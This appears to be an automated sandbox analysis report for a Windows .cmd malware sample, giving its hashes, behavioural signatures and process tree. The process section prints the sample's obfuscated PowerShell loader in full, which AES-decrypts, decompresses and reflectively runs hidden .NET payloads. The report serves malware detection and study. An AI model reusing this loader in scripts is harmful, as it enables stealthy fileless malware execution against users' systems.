Analysis
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max time kernel
118s -
max time network
124s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
25-03-2024 02:03
Static task
static1
Behavioral task
behavioral1
Sample
3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c.cmd
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c.cmd
Resource
win10v2004-20240226-en
General
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Target
3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c.cmd
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Size
7.4MB
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MD5
606bc44bc3ce1ab5bec05a295ac81089
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SHA1
d95631873a15d6bf4c031ddf70052d438f5dbd83
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SHA256
3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c
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SHA512
c234ea302f4c3197436beb8d21955abeb6dedf0e1439cd2330428cf40a7b21e3ef7ecd9a71823d3391b441d0b428a8e86d4606192a91db934bdf7df6982e87d0
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SSDEEP
196608:l77777777777777777777777777777777777777777777777777777777777777g:u
Malware Config
Signatures
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Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
powershell.exepid process 2484 powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2484 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2484 powershell.exe -
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
cmd.execmd.exedescription pid process target process PID 2056 wrote to memory of 2248 2056 cmd.exe cmd.exe PID 2056 wrote to memory of 2248 2056 cmd.exe cmd.exe PID 2056 wrote to memory of 2248 2056 cmd.exe cmd.exe PID 2248 wrote to memory of 2576 2248 cmd.exe cmd.exe PID 2248 wrote to memory of 2576 2248 cmd.exe cmd.exe PID 2248 wrote to memory of 2576 2248 cmd.exe cmd.exe PID 2248 wrote to memory of 2484 2248 cmd.exe powershell.exe PID 2248 wrote to memory of 2484 2248 cmd.exe powershell.exe PID 2248 wrote to memory of 2484 2248 cmd.exe powershell.exe PID 2248 wrote to memory of 2484 2248 cmd.exe powershell.exe
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c.cmd"1⤵
- Suspicious use of WriteProcessMemory
PID:2056 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c.cmd2⤵
- Suspicious use of WriteProcessMemory
PID:2248 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c.cmd';$KUZI='EleMrJamenMrJatMrJaAtMrJa'.Replace('MrJa', ''),'SrASbplrASbitrASb'.Replace('rASb', ''),'DcxuUecocxuUmpcxuUrescxuUscxuU'.Replace('cxuU', ''),'EnzKXdtzKXdrzKXdyzKXdPoizKXdntzKXd'.Replace('zKXd', ''),'CDKRroDKRrpDKRryTDKRroDKRr'.Replace('DKRr', ''),'CremHyIatemHyIDmHyIecmHyIrmHyIymHyIpmHyItomHyIrmHyI'.Replace('mHyI', ''),'LqXKhoadqXKh'.Replace('qXKh', ''),'FibFsromibFsBibFsasibFse6ibFs4SibFstibFsriibFsngibFs'.Replace('ibFs', ''),'MIkMWaIkMWiIkMWnMIkMWodIkMWulIkMWeIkMW'.Replace('IkMW', ''),'GEhZzetEhZzCEhZzuEhZzrrEhZzeEhZzntEhZzProEhZzcesEhZzsEhZz'.Replace('EhZz', ''),'InvYoJVokYoJVeYoJV'.Replace('YoJV', ''),'ChalJqNnlJqNgelJqNElJqNxtlJqNelJqNnslJqNiolJqNnlJqN'.Replace('lJqN', ''),'ReaHsIkdLiHsIknHsIkeHsIksHsIk'.Replace('HsIk', ''),'TyKjzranyKjzsyKjzforyKjzmFyKjziyKjznayKjzlBlyKjzockyKjz'.Replace('yKjz', '');powershell -w hidden;function DzchL($QfpjG){$iBRSE=[System.Security.Cryptography.Aes]::Create();$iBRSE.Mode=[System.Security.Cryptography.CipherMode]::CBC;$iBRSE.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$iBRSE.Key=[System.Convert]::($KUZI[7])('TYzwx+VQruSBclwTSei5OE5DbGGUAEnGVbMuihV8YQU=');$iBRSE.IV=[System.Convert]::($KUZI[7])('+LTXnHvK40EXoqLlqGzCsw==');$sGXqE=$iBRSE.($KUZI[5])();$riXCa=$sGXqE.($KUZI[13])($QfpjG,0,$QfpjG.Length);$sGXqE.Dispose();$iBRSE.Dispose();$riXCa;}function bmuCI($QfpjG){$PkJst=New-Object System.IO.MemoryStream(,$QfpjG);$TpSCv=New-Object System.IO.MemoryStream;$vgnKN=New-Object System.IO.Compression.GZipStream($PkJst,[IO.Compression.CompressionMode]::($KUZI[2]));$vgnKN.($KUZI[4])($TpSCv);$vgnKN.Dispose();$PkJst.Dispose();$TpSCv.Dispose();$TpSCv.ToArray();}$nUBNG=[System.IO.File]::($KUZI[12])([Console]::Title);$aWeUY=bmuCI (DzchL ([Convert]::($KUZI[7])([System.Linq.Enumerable]::($KUZI[0])($nUBNG, 5).Substring(2))));$PFrnG=bmuCI (DzchL ([Convert]::($KUZI[7])([System.Linq.Enumerable]::($KUZI[0])($nUBNG, 6).Substring(2))));[System.Reflection.Assembly]::($KUZI[6])([byte[]]$PFrnG).($KUZI[3]).($KUZI[10])($null,$null);[System.Reflection.Assembly]::($KUZI[6])([byte[]]$aWeUY).($KUZI[3]).($KUZI[10])($null,$null); "3⤵PID:2576
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2484